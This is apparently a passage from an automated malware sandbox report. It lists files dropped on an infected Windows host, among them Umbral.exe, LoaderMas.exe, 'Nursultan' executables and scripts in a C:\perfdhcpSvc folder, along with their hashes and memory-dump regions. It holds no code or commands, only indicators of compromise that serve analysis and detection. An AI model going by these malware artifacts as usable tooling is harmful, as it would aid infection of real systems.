d3bb9db7fbdd12ca739392e565c2ddc0

SHA1
e782feeebbf15b5efc1ee80b71e0afc8d7cb44d7

SHA256
bc138d5afaa8d124afddabef54faf4d93e7d6f84f340d7b6cd39c88824c7a84b

SHA512
c68e51b3129253cc6aeb4fb242e4ce1d4438a195ff3b07dc2c7350052e3b446a308b90ad606c805983562995b330c122cf6828a8d1619eb447a8fe7ad0dd52d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgr3kwwb.41v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\LoaderMas.exe

Filesize
63KB

MD5
a0dbdf3af38ead2237ccb781a098a431

SHA1
1434296af6c5530eb036718e860490e0adc3321a

SHA256
6f483da6b36646bf6f33db0c210bd3683ff29428a44d916a2f26a4240c1a9901

SHA512
dd7dc91a2e09b0c3906efbb486fb84d0289dc61338afd75d203f1ab2f49556c9523a8a9abc913363a45dde8194f5b2ee9d3d659807250047331944c39006edc3

Download Submit
C:\Users\Admin\AppData\Roaming\Nursultan (17).exe

Filesize
18.2MB

MD5
ed965403e795c3b563d67c734472ad93

SHA1
6b8b929239d5ef8f1f546c591c67acaf560de4dc

SHA256
6b7473e7177ef0666f6afe36b257d0730dababefc209ee1c5f2da319dbe1633d

SHA512
bd860103c5ac1bcc02bfefc669616a1b0103dfb3c611b0e4499cf4b1fc67d49c9cd57c1839936b75e0f0008aec0f84cb0af712feb334957972661405a137f649

Download Submit
C:\Users\Admin\AppData\Roaming\Nursultan.exe

Filesize
17.9MB

MD5
e504e3fc36fe4d6f182c98923979a779

SHA1
3ba9f1a9a15b79639a20cfcf79c9de31d15a17a6

SHA256
70b7b95bb952b3325476867307fc5bd4df5769b97bbcdd8b60e7b46e1b38e4a0

SHA512
63bbbc3ccf14b2846df64b8edae52b6431df52aa9e03569a28ca239ab02db94bf79ca8a0a30529e35a04ee5845768d752b99e6ce3830ab440c57850180ad1647

Download Submit
C:\Users\Admin\AppData\Roaming\Umbral.exe

Filesize
229KB

MD5
f48ef033300ec9fd3c77afff5c20e95f

SHA1
22d6125b980474b3f54937003a765cdd5352f9a8

SHA256
72ee11a905ca278130f02397422b4cc4944851065ce0072f9888b70c5ad40f1e

SHA512
847ee8cdb14879089c861168d6be90325304df490668a38447b37772423e6dab5e32a5df344ceb58410d3b24cf25cd7221e8768951e5aca14820996a1e8304bc

Download Submit
C:\Users\Admin\AppData\Roaming\t.bat

Filesize
1.1MB

MD5
d85bd59cf0808fb894f60773e1594a0a

SHA1
84b9d205f3ae6ca4f8f1bb938ee8b4d452444cde

SHA256
f3ef597673421e514d7fed82b40d65386c3811c4a8f5553afd59fc632bca8746

SHA512
225788e3e98449f53e6206c585315a37c9ff6ed0b5425b2a98e50c7ac45ab3c187ccf7626f126ba300bd8dbdf89c864e89f85d6264edc89281745b081ec58f97

Download Submit
C:\perfdhcpSvc\Chainprovider.exe

Filesize
827KB

MD5
d2ec227ddac047e735393e58e742fd44

SHA1
7aae5c76378f7cfcff8bb983695fa4c2577a20e2

SHA256
0e679527f2df9f87d33c82023256fac276c36006579d2d71877ccab4be847cce

SHA512
5a11b292a574bd2ca6c225af1e4c9f95004a49ce816cc59a73d4ab6e2a0b007a58ab56e5e0c004901c3ebe4ec06054e6e801f8e659711856857add6d43f38979

Download Submit
C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe

Filesize
200B

MD5
00b53f3e200522631227cac1a07e0646

SHA1
a0c69d58c7ca10f5fd5e1320b1b2f92081d7fcfe

SHA256
486c050aadc42906113b0c5c8485dff36b0187f343a732542608a91b0565146c

SHA512
22241ae8a31c7e564c9fb652947e4fe17f80c6e94dfe1a3bb5890f6eb97797ee32ccfff5d647eef02bda31bd47c5d95521cd0c6349a01e501e6e064ea6306243

Download Submit
C:\perfdhcpSvc\mStUjP0ksX5N.bat

Filesize
34B

MD5
a9330c6da12d90d5d956ae2bbcf017d7

SHA1
7ebaa14eed80db6d9f0c0c0f1ecab1a9c3f61410

SHA256
b49853470383dce14680f656aca7ea449b1d6aabb3f18d4165ebd7e3e7545393

SHA512
557c91cc1cc0d7309f50e286644a2da543c0283d4a1659f7d31554282ddc48b5f972d98d5a01433078fdbe6cc813bb6f7c120e2307fae48c5d81be44ae823228

Download Submit
memory/516-30-0x00007FFE30EF0000-0x00007FFE319B1000-memory.dmp

Filesize
10.8MB

Download
memory/516-32-0x00000000000C0000-0x00000000012FA000-memory.dmp

Filesize
18.2MB

Download
memory/516-70-0x00007FFE30EF0000-0x00007FFE319B1000-memory.dmp

Filesize
10.8MB

Download
memory/1008-127-0x00007FFE4F7B0000-0x00007FFE4F7B2000-memory.dmp

Filesize
8KB

Download
memory/1008-130-0x0000000140000000-0x0000000142153000-memory.dmp

Filesize
33.3MB

Download
memory/2088-1-0x00000000006B0000-0x0000000001A80000-memory.dmp

Filesize
19.8MB

Download
memory/2088-0-0x00007FFE30EF3000-0x00007FFE30EF5000-memory.dmp

Filesize
8KB

Download
memory/2140-90-0x0000000000030000-0x0000000000106000-memory.dmp

Filesize
856KB

Download
memory/4468-55-0x00000288D4C10000-0x00000288D4C32000-memory.dmp

Filesize
136KB

Download
memory/4572-96-0x0000027C353A0000-0x0000027C35416000-memory.dmp

Filesize
472KB

Download
memory/4572-98-0x0000027C1C810000-0x0000027C1C82E000-memory.dmp

Filesize
120KB

Download
memory/4572-161-0x0000027C351B0000-0x0000027C351C2000-memory.dmp

Filesize
72KB

Download
memory/4572-160-0x0000027C1C860000-0x0000027C1C86A000-memory.dmp

Filesize
40KB

Download
memory/4572-29-0x0000027C1ABA0000-0x0000027C1ABE0000-memory.dmp

Filesize
256KB

Download
memory/4572-97-0x0000027C35320000-0x0000027C35370000-memory.dmp

Filesize
320KB

Download
memory/4700-71-0x0000000000A10000-0x0000000000A26000-memory.dmp

Filesize
88KB

Download